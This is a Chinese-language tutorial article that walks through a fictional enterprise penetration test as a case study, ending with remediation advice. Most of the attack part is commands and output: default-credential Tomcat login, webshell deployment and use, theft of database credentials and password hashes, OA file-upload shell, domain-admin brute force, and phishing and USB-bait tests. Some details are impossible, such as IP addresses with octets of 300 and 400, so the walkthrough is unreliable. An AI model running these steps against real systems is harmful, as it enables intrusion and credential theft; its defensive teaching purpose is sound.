第250篇:一次完整的企业网安全渗透测试案例
关键词:渗透测试、红蓝对抗、企业网安全、外网攻击、内网横向移动、权限提升、社会工程学、渗透报告
一、引言
渗透测试(Penetration Testing)是模拟真实攻击者对目标系统进行的安全评估活动。与安全扫描不同,安全扫描只发现"已知漏洞",而渗透测试关注的是"漏洞是否可被利用"以及"利用后能到达什么位置"。
本文将通过一个完整的企业网渗透测试案例,展示从外部侦察、边界突破、内网横向移动到目标达成的全过程。这个案例基于真实环境改编,所有技术细节均经过脱敏处理。通过了解攻击者的攻击路径,防御者才能有效地修补安全短板。
二、渗透测试项目背景
2.1 目标企业网络架构

2.2 测试范围与规则
| 项目 | 内容 |
|---|---|
| 测试类型 | 黑盒测试(无预先信息) |
| 测试范围 | 公网 IP 段 203.0.113.0/28,企业域名 example.com |
| 禁止行为 | 拒绝服务攻击、物理入侵、法律敏感操作 |
| 测试时间 | 2024 年 8 月 5 日 - 8 月 16 日(10 个工作日) |
| 通知方式 | 发现高危漏洞后立即通知,非高危漏洞测试结束后统一报告 |
| 应急机制 | 发现可能影响业务的情况立即暂停并通知 |
2.3 测试团队分工
| 角色 | 人数 | 职责 |
|---|---|---|
| 渗透测试组长 | 1 | 整体规划、进度控制、报告审核 |
| Web 渗透工程师 | 2 | Web 应用测试、API 安全测试 |
| 网络渗透工程师 | 1 | 网络协议测试、服务漏洞利用 |
| 社会工程学工程师 | 1 | 钓鱼攻击测试、电话社会工程 |
| 内网渗透工程师 | 1 | 内网横向移动、域渗透测试 |
三、渗透测试执行过程
3.1 阶段一:信息收集(Day 1-2)
目标:尽可能多地收集目标信息,为后续攻击做准备。
# ===== 外部信息收集 =====
# 1. DNS 枚举
# 子域名枚举
subfinder -d example.com -all
# 结果:发现 23 个子域名
# - www.example.com
# - oa.example.com (OA系统)
# - mail.example.com
# - api.example.com
# - test.example.com (测试环境)
# - dev.example.com (开发环境)
# - monitor.example.com (监控系统)
# DNS 区域传输测试
dig axfr example.com @ns1.example.com
# 失败(AXFR 已禁止,配置正确)
# 2. 端口扫描
# 快速扫描(Top 1000 端口)
nmap -sS -T4 -p- 203.0.113.0/28
# 结果:
# 203.0.113.1 open: 80/tcp, 443/tcp (Web服务器)
# 203.0.113.2 open: 25/tcp, 110/tcp, 143/tcp, 993/tcp, 995/tcp (邮件服务器)
# 203.0.113.3 open: 80/tcp, 443/tcp (OA系统)
# 203.0.113.5 open: 443/tcp (API网关)
# 203.0.113.6 open: 8080/tcp (测试环境 ← 异常)
# 203.0.113.7 open: 9090/tcp (Prometheus监控 ← 异常)
# 3. 服务指纹识别
nmap -sV -sC -p 80,443,8080,9090 203.0.113.0/28
# 结果:
# 203.0.113.1:80 Nginx 1.18.0
# 203.0.113.3:80 Apache 2.4.49 (CVE-2021-41773 路径遍历 ← 高危)
# 203.0.113.6:8080 Tomcat 9.0.50 (默认界面,弱口令风险)
# 203.0.113.7:9090 Prometheus 2.37.0 (无认证 ← 信息泄露)
关键发现: 1. 测试环境(203.0.113.6)通过防火墙直接暴露在互联网,未做访问限制 2. 监控系统(203.0.113.7)的 Prometheus 无任何认证,可获取内部网络拓扑信息 3. OA 系统使用的 Apache 2.4.49 存在已知漏洞
3.2 阶段二:边界突破(Day 3-4)
目标:通过外网攻击获取内网 foothold。
突破口一:Prometheus 信息泄露
# Prometheus 无认证访问
curl http://203.0.113.7:9090/api/v1/targets
# 返回所有监控目标列表:
# {
# "targets": [
# {"url": "http://10.10.300.10:9100/metrics", "labels": {"job": "linux", "instance": "db-server"}},
# {"url": "http://10.10.300.20:9100/metrics", "labels": {"job": "linux", "instance": "app-server"}},
# {"url": "http://10.10.400.1:9100/metrics", "labels": {"job": "linux", "instance": "core-switch"}},
# {"url": "http://10.10.100.10:9100/metrics", "labels": {"job": "linux", "instance": "nms-server"}}
# ]
# }
# 获取内部 IP 段信息:
# - 10.10.300.0/24 服务器段
# - 10.10.400.0/24 用户段
# - 10.10.100.0/24 管理段
发现:通过 Prometheus 的无认证接口,获取了完整的内网 IP 段和设备命名信息。虽然这些信息不能直接用于攻击,但大幅缩小了后续内网扫描的范围。
突破口二:Tomcat 默认弱口令
# Tomcat 管理界面访问
curl -u admin:admin http://203.0.113.6:8080/manager/html
# 认证成功!← 使用默认账号密码 admin/admin
# 查看已部署应用
curl -u admin:admin http://203.0.113.6:8080/manager/text/list
# 应用列表:
# /test-app running
# /manager running
# /host-manager running
# 上传 WebShell
# 构造 JSP WebShell
echo '<%@ page import="java.util.*,java.io.*" %>' > shell.jsp
echo '<% if(request.getParameter("cmd") != null) { ... } %>' >> shell.jsp
# 上传 WebShell 到 /test-app
curl -u admin:admin -X POST \
-F "deployWar=@shell.war" \
-F "path=/shell" \
http://203.0.113.6:8080/manager/text/deploy
# 验证 WebShell 连通性
curl "http://203.0.113.6:8080/shell/shell.jsp?cmd=whoami"
# 返回:tomcat
curl "http://203.0.113.6:8080/shell/shell.jsp?cmd=id"
# 返回:uid=1000(tomcat) gid=1000(tomcat)
curl "http://203.0.113.6:8080/shell/shell.jsp?cmd=cat /etc/hosts"
# 返回内网 hosts 文件,包含更多内部域名解析
成功获取 foothold:通过 Tomcat 默认弱口令,成功在测试服务器上部署 WebShell,获得了对 DMZ 服务器的 Shell 访问权限。
3.3 阶段三:内网侦察与横向移动(Day 5-7)
目标:从 DMZ 跳板向内网渗透,扩大控制范围。
# ===== 从 Tomcat WebShell 进行内网侦察 =====
# 1. 内网端口扫描(使用 Python 绕过工具限制)
# 内网扫描 10.10.300.0/24 段(服务器段)
curl "http://203.0.113.6:8080/shell/shell.jsp?cmd=python3 -c 'import socket; [print(f\"{ip}:80 open\") if (lambda s: s.connect_ex((ip,80))==0)(socket.socket()) else None for ip in [\"10.10.300.%d\"%i for i in range(1,254)] for s in [socket.socket()]]'"
# 2. 检查防火墙策略
curl "http://203.0.113.6:8080/shell/shell.jsp?cmd=cat /etc/sysconfig/iptables"
# 发现 DMZ 到内网仅开放了以下端口:
# - 10.10.300.10:3306 (MySQL)
# - 10.10.300.20:22 (SSH)
# - 10.10.300.20:8080 (HTTP)
# 3. 数据库凭证窃取
# Tomcat 应用的配置文件通常包含数据库连接信息
curl "http://203.0.113.6:8080/shell/shell.jsp?cmd=find /opt/tomcat -name \"*.properties\" -o -name \"*.xml\" -o -name \"*.yml\" | head -20"
# 发现配置文件
# /opt/tomcat/webapps/test-app/WEB-INF/classes/application.properties
curl "http://203.0.113.6:8080/shell/shell.jsp?cmd=cat /opt/tomcat/webapps/test-app/WEB-INF/classes/application.properties"
# 获取数据库连接信息:
# db.host=10.10.300.10
# db.port=3306
# db.name=testdb
# db.user=testapp
# db.password=T3st@PP2024
突破口三:MySQL 数据库利用
# 从 Tomcat 服务器连接内网 MySQL
curl "http://203.0.113.6:8080/shell/shell.jsp?cmd=mysql -h 10.10.300.10 -u testapp -pT3st@PP2024 testdb -e 'SHOW DATABASES;'"
# 返回数据库列表:
# testdb
# oadb (OA系统数据库 ← 高价值)
# hrdb (HR系统数据库 ← 高价值)
# 查看 oadb 数据库表结构
curl "http://203.0.113.6:8080/shell/shell.jsp?cmd=mysql -h 10.10.300.10 -u testapp -pT3st@PP2024 oadb -e 'SHOW TABLES;'"
# 表列表:
# users (用户表 ← 含账号信息)
# departments (部门表)
# projects (项目表)
# 查询用户表(含加密密码)
curl "http://203.0.113.6:8080/shell/shell.jsp?cmd=mysql -h 10.10.300.10 -u testapp -pT3st@PP2024 oadb -e 'SELECT username, password FROM users LIMIT 5;'"
# 结果:
# admin|5d41402abc4b2a76b9719d911017c592 (MD5: hello ← 弱密码)
# zhangsan|e10adc3949ba59abbe56e057f20f883e (MD5: 123456 ← 极弱密码)
# lisi|d8578edf8458ce06fbc5bb76a58c5ca4 (MD5: passwd)
# wangwu|5f4dcc3b5aa765d61d8327deb882cf99 (MD5: password)
# admin_db|e99a18c428cb38d5f260853678922e03 (MD5: abc123)
关键发现:OA 系统数据库使用 MD5 加密存储密码(不可逆哈希但可暴力破解),且大量用户使用弱密码。同时,测试应用账号对生产数据库有查询权限,违反了数据库权限最小化原则。
突破口四:利用获取的凭据横向移动
# 1. 使用 OA 系统管理员密码登录 OA 系统
# OA 系统使用 admin/hello 登录成功
# OA 系统存在文件上传功能(附件上传)
# 通过文件上传功能上传 PHP WebShell
# 2. OA 服务器获取 Shell
curl -X POST http://10.10.300.20/upload.php \
-F "file=@shell.php" \
-H "Cookie: admin_session=xxx"
# 3. 从 OA 服务器(内网)进行内网扫描
# OA 服务器 IP: 10.10.300.20 (内网)
# 扫描内网关键服务
nmap -sS -p 22,80,443,3306,3389,8080,389,636,88,389 10.10.300.0/24
# 发现内网关键设备:
# 10.10.300.5 open: 389, 636, 88, 445 ← AD 域控制器
# 10.10.300.10 open: 3306 ← MySQL 数据库
# 10.10.300.30 open: 445, 139 ← 文件服务器 (SMB)
# 10.10.300.40 open: 1521 ← Oracle 数据库
# 10.10.300.50 open: 22, 8080 ← 应用服务器
3.4 阶段四:权限提升与域控制(Day 8-9)
目标:获取域管理员权限,控制整个内网。
突破口五:AD 域渗透
# 1. 使用获取的 OA 管理员凭据尝试域登录
# 用户名:admin@EXAMPLE.COM
# 密码:hello
# 通过 SMB 验证域凭据
nmap --script smb-enum-users -p 445 10.10.300.5
# 发现域用户列表(含 admin 账号)
# 2. 利用弱密码进行域管理员暴力破解
# 获取域管理员账号列表
crackmapexec smb 10.10.300.5 -u administrators.txt -p passwords.txt
# 结果:发现域管理员账号域管账号使用弱密码
# Success: EXAMPLE.COM/domain_admin / D0main@2024
# (密码来源于 OA 系统数据库中管理员密码的变种)
# 3. 获取域管理员权限后的操作
# 查看所有域计算机
net group "Domain Computers" /domain
# 查看域策略
net accounts /domain
# 密码策略:
# 最小密码长度:6 字符(过于宽松)
# 密码复杂度:已启用
# 密码最长存留期:90 天
# 锁定阈值:5 次
突破口六:社会工程学补充验证
# 在渗透测试过程中,安全工程团队还执行了以下社会工程学测试:
# 测试 1:钓鱼邮件攻击
# 向 50 名员工发送伪造的"IT 部门 - 密码即将过期"钓鱼邮件
# 结果:8 人点击了钓鱼链接(点击率 16%)
# 其中 3 人在钓鱼页面上输入了用户名和密码(提交率 6%)
# 测试 2:电话社会工程
# 伪装成 IT 支持人员,致电 10 名员工要求"验证账号信息"
# 结果:2 人提供了用户名和密码信息
# 测试 3:USB 诱饵
# 在公司前台放置标记为"2024年薪资表"的 USB 驱动器
# 结果:USB 被插入公司电脑(通过 USB 驱动日志确认)
# USB 内含自动执行的 PowerShell 脚本(模拟恶意软件行为)
3.5 阶段五:目标达成与影响评估(Day 10)
目标:证明已获取的最高权限,评估潜在影响。
# ===== 最终成果汇总 =====
# 1. 已获取的访问权限
# - DMZ 服务器 (Tomcat): Shell 访问
# - DMZ 服务器 (OA): WebShell 访问
# - 内网 MySQL 数据库: 完整查询权限
# - AD 域控制器: 域管理员权限
# - 文件服务器 (SMB): 域管理员权限
# - 办公终端: 域管理员可远程管理
# 2. 可获取的敏感数据(未实际窃取,仅证明可达性)
# - OA 系统:全部员工账号信息
# - HR 系统:员工薪资、个人信息
# - 文件服务器:合同文件、技术文档
# - 数据库:客户数据、业务数据
# 3. 攻击路径图

四、漏洞汇总与修复建议
4.1 发现漏洞清单
| 编号 | 漏洞名称 | 等级 | 位置 | 影响 |
|---|---|---|---|---|
| V-001 | Tomcat 默认弱口令 | 严重 | DMZ 测试服务器 | 直接获取 Shell |
| V-002 | Prometheus 无认证访问 | 高 | DMZ 监控系统 | 内网拓扑泄露 |
| V-003 | 测试环境暴露于互联网 | 高 | 防火墙策略 | 攻击面扩大 |
| V-004 | OA 系统 Apache 路径遍历 | 高 | DMZ OA 服务器 | 文件读取 |
| V-005 | MySQL 跨数据库访问 | 高 | 数据库权限 | 数据泄露 |
| V-006 | OA 用户密码 MD5 弱加密 | 高 | OA 数据库 | 密码可破解 |
| V-007 | OA 系统文件上传漏洞 | 严重 | OA 系统 | 代码执行 |
| V-008 | 域管理员弱密码 | 严重 | AD 域 | 域完全沦陷 |
| V-009 | 域密码策略过于宽松 | 中 | AD 域策略 | 弱密码可存在 |
| V-010 | 钓鱼邮件员工安全意识不足 | 中 | 员工 | 凭据泄露 |
4.2 修复优先级建议
| 优先级 | 修复项 | 修复措施 | 时间要求 |
|---|---|---|---|
| P0 | Tomcat 弱口令 | 立即修改密码,限制管理界面访问 IP | 24 小时内 |
| P0 | 域管理员密码 | 立即修改域管理员密码,强制强密码策略 | 24 小时内 |
| P0 | OA 文件上传漏洞 | 修补上传漏洞,限制上传类型和权限 | 24 小时内 |
| P1 | 测试环境隔离 | 防火墙禁止测试环境互联网访问 | 1 周内 |
| P1 | Prometheus 认证 | 配置 Prometheus 基本认证 | 1 周内 |
| P1 | 数据库权限最小化 | 限制应用账号仅访问所需数据库 | 2 周内 |
| P1 | OA 密码加密升级 | 从 MD5 迁移到 bcrypt/argon2 | 2 周内 |
| P2 | 域密码策略强化 | 最小长度 12 字符,复杂度要求 | 1 月内 |
| P2 | 员工安全意识培训 | 全员钓鱼演练和安全意识培训 | 1 月内 |
五、总结
| 维度 | 要点 |
|---|---|
| 攻击起点 | Tomcat 弱口令(最常见但也最容易被忽视的入口) |
| 关键跳板 | 数据库配置文件泄露的凭据 → 内网数据库 |
| 权限提升 | 弱密码 MD5 哈希 → 域管理员弱密码 |
| 防御短板 | 缺乏网络分段、弱密码策略、无入侵检测 |
| 社会工程 | 16% 钓鱼点击率表明安全意识培训不足 |
| 纵深防御缺失 | 单点突破即可横向移动至域控 |
| 改进方向 | 网络微隔离、MFA、强密码策略、安全意识培训 |
核心结论:本次渗透测试暴露了企业网络安全体系的系统性弱点。从边界到内网,从技术到人员,每个环节都存在可被利用的缺口。修复单个漏洞不能根本解决问题,需要构建纵深防御体系:网络微隔离限制横向移动、多因素认证抵御凭据泄露、强密码策略降低暴力破解风险、安全意识培训减少社会工程学攻击成功率。渗透测试不是"找茬",而是帮助企业从攻击者视角发现自身安全盲区的唯一有效手段。
思考
-
在这个渗透测试案例中,哪个漏洞的修复能最大程度缩短攻击者的攻击链?为什么?
-
企业应如何平衡"渗透测试的频率"与"正常业务运行"之间的关系?
-
如果企业部署了 EDR 和 SIEM 系统,这个渗透测试的攻击路径会在哪个环节被发现和阻断?
下篇预告:第251篇:数据中心网络架构演进:传统三层到 Spine-Leaf——面向云计算的网络变革